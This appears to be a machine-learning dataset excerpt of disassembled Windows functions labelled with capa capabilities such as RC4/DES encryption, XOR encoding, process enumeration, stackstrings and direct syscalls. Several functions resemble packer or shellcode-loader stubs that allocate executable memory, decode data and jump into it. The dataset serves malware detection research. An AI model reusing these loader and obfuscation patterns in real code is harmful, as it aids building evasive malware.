joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5d4450
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x12cee7c]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x5d4463
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x5d44a4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x12cef24]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x5d44d6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x5d44da
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x5d44cb
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x5d44f8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x5d44fc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x5d44ed
xor ecx, ecx
mov eax, 0x12cee8c
xor ebx, ebx
mov bl, byte [ecx + 0x12cef34]
cmp byte [esp + ebx + 0x14], 0
je 0x5d4527
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x12cef4c]
cmp byte [esp + ebx + 0x14], 0
je 0x5d453e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x5d450e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x5d4497
lea edx, [esp + 0x84]
push edx
call fcn.005d4580
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x5e2cc0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x1331cc8]
xor edx, edx
cmp eax, edx
jne 0x5e2ce6
xor eax, eax
mov byte [eax + 0x1331bc8], al
inc eax
cmp eax, 0x100
jl 0x5e2cce
mov dword [0x1331cc8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x1331bc8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x5e2d77
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x5e2d4a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x5e2d18
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x5e2d80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x5e2dd3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x5e2dba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5e9760
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x62521e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.005ea080
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x129b194
call fcn.00610f43
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x5e97f3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00610f43
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x5e97ec
push 0
mov ecx, eax
call fcn.005e0900
mov dword [esi + 0xc], eax
jmp 0x5e97f5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x5e97f5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x10008a45
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10008a54
pop dword [ebp - 0x50]
mov eax, 0x10008a54
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x4213a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xbb71300e
sub ecx, 0xbb70e0b2
mov esi, eax
mov edx, 0x541fe664
sub edx, 0x441b3a64
add edx, dword [ebp - 0x50]
mov ebx, 0xdf15a211
sub ebx, 0x9eeaa277
mov edi, dword [edx]
add edi, ebx
xor dword [ebp - 0x30], 0xea44b897
mov dword [esi], edi
sub dword [ebp - 0x30], edi
add esi, 4
add edx, 0x7242b31d
sub edx, 0x7242b319
loop 0x10008aa9
add eax, 0xd7ea9fc
add eax, 0xf2828647
xor ebx, ebx
add ebx, eax
add eax, 0xdf586f7
add eax, 0xf20a790e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x1000cd31
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002cd97
call fcn.10017073
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000cdae
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000cdae
call fcn.10005a99
mov esi, eax
jmp 0x1000ce85
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000cdd1
call fcn.10005a99
jmp 0x1000ce78
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x1000cdc7
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000ce01
mov esi, 0x8007000e
jmp 0x1000ce7a
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.10008a45
jmp 0x1000ce27
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000cdfa
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000cdc7
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.10008a45
mov esi, eax
test edi, edi
je 0x1000ce85
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000ce9e
lea ecx, [ebp - 0x418]
call fcn.1000c4af
mov eax, esi
call fcn.10016fc0
ret 0x10
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.10008a45
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x401225
Capabilities:
Encode data using xor

Disassembly:
pushal
xor ecx, ecx
add ecx, 0x1000
mov dl, byte [ecx + edi - 1]
rol dl, 1
xor dl, 0x7e
mov byte [ecx + edi - 1], dl
dec ecx
cmp ecx, 0
jne 0x40122e
popal
ret
Function at 0x401090
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4010ab
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4010e2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x4010de
jmp 0x4010d0
cmp esi, eax
jae 0x4010e2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4010d0
cmp esi, eax
jb 0x4010e9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x401780
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415134]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
mov edx, dword [edi]
or ecx, 0x2001f
push ecx
xor esi, esi
push eax
push edx
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x208], esi
call fcn.00401260
mov ebx, eax
cmp ebx, esi
je 0x4017fa
mov eax, dword [ebp - 0x210]
cmp eax, esi
je 0x4017e5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call 0x4058bc
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0x210]
push esi
push esi
push esi
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x204]
push edx
push esi
push eax
mov dword [ebp - 0x214], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40187c
mov edi, edi
lea ecx, [ebp - 0x204]
push ecx
lea ecx, [ebp - 0x210]
call fcn.00401780
mov ebx, eax
cmp ebx, esi
jne 0x4017d4
lea edx, [ebp - 0x220]
push edx
mov edx, dword [ebp - 0x210]
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x204]
push ecx
push esi
push edx
mov dword [ebp - 0x214], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x401830
mov eax, dword [ebp - 0x210]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, esi
je 0x401895
push eax
call ebx
mov dword [ebp - 0x210], esi
mov eax, dword [ebp - 0x218]
push eax
mov ecx, edi
mov dword [ebp - 0x20c], esi
call fcn.004011e0
mov edi, eax
mov eax, dword [ebp - 0x210]
cmp eax, esi
je 0x4018b8
push eax
call ebx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call 0x4058bc
mov esp, ebp
pop ebp
ret 4
Function at 0x4044c0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
test eax, eax
jle 0x4044d7
push eax
call fcn.00406155
add esp, 4
mov edi, dword [ebp + 8]
push edi
mov dword [esi + 4], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x180
push 0x8112
push edi
call fcn.00406fbe
add esp, 0xc
mov dword [esi + 4], eax
test eax, eax
jg 0x40450a
pop edi
xor al, al
pop esi
pop ebp
ret 8
mov edi, dword [ebp + 0xc]
cmp edi, 1
jne 0x404523
mov word [ebp + 8], 0xbbef
mov byte [ebp + 0xa], 0xbf
push 3
lea ecx, [ebp + 8]
jmp 0x404557
cmp edi, 2
jne 0x404547
push edi
lea edx, [ebp + 8]
push edx
push eax
mov word [ebp + 8], 0xfeff
call fcn.00406ecd
add esp, 0xc
mov dword [esi + 8], edi
pop edi
mov al, 1
pop esi
pop ebp
ret 8
cmp edi, 3
jne 0x404561
mov word [ebp + 8], 0xfffe
push 2
lea ecx, [ebp + 8]
push ecx
push eax
call fcn.00406ecd
add esp, 0xc
mov dword [esi + 8], edi
pop edi
mov al, 1
pop esi
pop ebp
ret 8

Function at 0x4068f1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x12], 0x6c64746e
mov dword [ebp - 0xe], 0x6c642e6c
mov word [ebp - 0xa], 0x6c
mov dword [ebp - 0x2a], 0
mov dword [ebp - 0x26], 0
mov dword [ebp - 0x22], 0
mov dword [ebp - 0x1e], 0
mov dword [ebp - 0x1a], 0
mov dword [ebp - 0x16], 0
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov dword [esp], 0x4042e0
call fcn.00406811
lea eax, [ebp - 0x12]
mov dword [esp], eax
mov eax, dword [0x4070fc]
call eax
sub esp, 4
lea edx, [ebp - 0x2a]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [0x407100]
call eax
sub esp, 8
mov dword [esp], eax
call fcn.0040687d
test eax, eax
setne al
test al, al
je 0x406984
mov eax, 1
jmp 0x406989
mov eax, 0
leave
ret
Function at 0x4069f6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
mov dword [ebp - 0x28], 0
mov dword [esp + 4], 0x403420
mov dword [esp], 0x403020
call fcn.00407d99
mov dword [esp + 4], 0x403820
mov dword [esp], 0x403020
call fcn.00407d99
lea eax, [ebp - 0x428]
mov dword [esp + 4], eax
mov dword [esp], 0x403020
call fcn.00406811
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x432], 0x6c64746e
mov dword [ebp - 0x42e], 0x6c642e6c
mov word [ebp - 0x42a], 0x6c
mov dword [ebp - 0x43f], 0x6e72656b
mov dword [ebp - 0x43b], 0x32336c65
mov dword [ebp - 0x437], 0x6c6c642e
mov byte [ebp - 0x433], 0
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
mov byte [ebp - 0x440], 0
lea eax, [ebp - 0x44c]
mov dword [esp + 4], eax
mov dword [esp], 0x40447d
call fcn.00406811
mov dword [ebp - 0x45b], 0
mov dword [ebp - 0x457], 0
mov dword [ebp - 0x453], 0
mov dword [ebp - 0x450], 0
lea eax, [ebp - 0x45b]
mov dword [esp + 4], eax
mov dword [esp], 0x40448e
call fcn.00406811
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0
mov byte [ebp - 0x45c], 0
lea eax, [ebp - 0x468]
mov dword [esp + 4], eax
mov dword [esp], 0x4044a3
call fcn.00406811
lea eax, [ebp - 0x43f]
mov dword [esp], eax
mov eax, dword [0x4070fc]
call eax
sub esp, 4
lea edx, [ebp - 0x44c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [0x407100]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x43f]
mov dword [esp], eax
mov eax, dword [0x4070fc]
call eax
sub esp, 4
lea edx, [ebp - 0x45b]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [0x407100]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x43f]
mov dword [esp], eax
mov eax, dword [0x4070fc]
call eax
sub esp, 4
lea edx, [ebp - 0x468]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [0x407100]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x428]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call fcn.00407d89
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x20
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x406c87
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], 0
call eax
sub esp, 0x18
mov dword [ebp - 0x24], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [0x407124]
call eax
sub esp, 8
mov eax, 0
leave
ret
Function at 0x4079d1
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4079f6
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x407a01
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4079f6
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x407a49
xor ecx, ecx
Function at 0x10002b2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add ecx, 0x20
pop ebp
jmp fcn.100016da

Function at 0x10006590
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov esi, dword [section..data]
cmp esi, 0xffffffff
jne 0x100065b3
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov esi, eax
mov dword [section..data], eax
cmp eax, 0xffffffff
je 0x100065f6
push esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
push eax
call fcn.1002b89e
add esp, 4
mov ebx, dword [sym.imp.kernel32.dll_TlsSetValue]
push 0
push esi
call ebx
push 0x14
call fcn.1002b89e
add esp, 4
mov edi, eax
push eax
push esi
call ebx
movaps xmm0, xmmword [0x10040c10]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov eax, edi
pop esi
pop edi
pop ebx
pop ebp
ret
xor edi, edi
jmp 0x100065de

Function at 0x100065fa
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
xorps xmm0, xmm0
movups xmmword [esp], xmm0
call fcn.10005b20
sub esp, 0x10
mov esi, dword [section..data]
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
mov dword [esp], eax
call fcn.1002b89e
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.kernel32.dll_TlsSetValue]
add esp, 8
pop esi
pop ebp
ret

Function at 0x100066a2
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [section..data]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x100066b7
pop ebp
ret
pop ebp
jmp fcn.10006590

Function at 0x10008df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008e1f
shl eax, 4
movsx esi, byte [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
inc edx
cmp ecx, edx
jne 0x10008e01
pop esi
pop edi
pop ebp
ret 8

Function at 0x10008f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor eax, eax
cmp edx, ecx
je 0x10008f61
shl eax, 4
movzx esi, word [edx]
add esi, eax
mov edi, esi
and edi, 0xf0000000
mov eax, edi
shr eax, 0x18
or eax, edi
xor eax, esi
add edx, 2
cmp ecx, edx
jne 0x10008f41
pop esi
pop edi
pop ebp
ret 8
Function at 0x1002b89e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002b8ad
pop dword [ebp - 0x40]
mov eax, 0x1002b8ad
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x75c0a0d9
sub dword [ebp - 0x50], 0x276e5b8e
mov dword [ebp - 0x4c], 0xdc6e7f04
sub dword [ebp - 0x4c], 0xaa3b32bf
mov dword [ebp - 0x48], 0x3037eaea
add dword [ebp - 0x48], 0x1c145944
mov dword [ebp - 0x44], 0xbf7ef1b7
add dword [ebp - 0x44], 0x40810e49
lea eax, [ebp - 0x50]
push eax
mov eax, 0x64b003ca
sub eax, 0x54ab34ea
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x4d722214
add dword [ebp - 0x50], 0x27004742
mov dword [ebp - 0x4c], 0x2c820657
sub dword [ebp - 0x4c], 0xeb15a4e2
mov dword [ebp - 0x48], 0x72863081
add dword [ebp - 0x48], 0xf0e93beb
mov dword [ebp - 0x44], 0xc422064f
sub dword [ebp - 0x44], 0xc422064f
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x5faedaa8
add eax, 0xb055f3dc
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3d3d5
push 0
call eax
mov ecx, 0xdde1fc44
add ecx, 0x221e41fd
xor esi, esi
add esi, eax
mov edx, 0xbc95870c
add edx, 0x53702cf4
add edx, dword [ebp - 0x40]
mov ebx, 0xe84f55c8
sub ebx, 0xd83614b
mov dword [ebp - 8], 0x5eb4944f
mov edi, dword [edx]
xor edi, ebx
add dword [ebp - 0x10], ebx
mov dword [esi], edi
sub dword [ebp - 0x1c], ecx
add esi, 0xc01ec7f2
sub esi, 0xc01ec7ee
add edx, 0x519c10ba
sub edx, 0x519c10b6
loop 0x1002b9cc
add eax, 0xc1437442
sub eax, 0xc142886b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xdf82363c
add ecx, 0x307dc9c4
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0xe47370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xe4738e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xe70074
push ecx
mov edi, eax
call fcn.00e5b198
mov esi, eax
add esp, 8
test esi, esi
jne 0xe473cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00e5b02e
push esi
call fcn.00e5afb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xe4a850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xe4a8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xe75720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe4a8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00e5b1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xe4a8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xe75720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe4a92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00e5c082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xe4a957
mov word [eax], si
add eax, 2
push eax
call fcn.00e5c030
add esp, 4
jmp 0xe4a959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xe4a8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xe4a8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xe4aff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret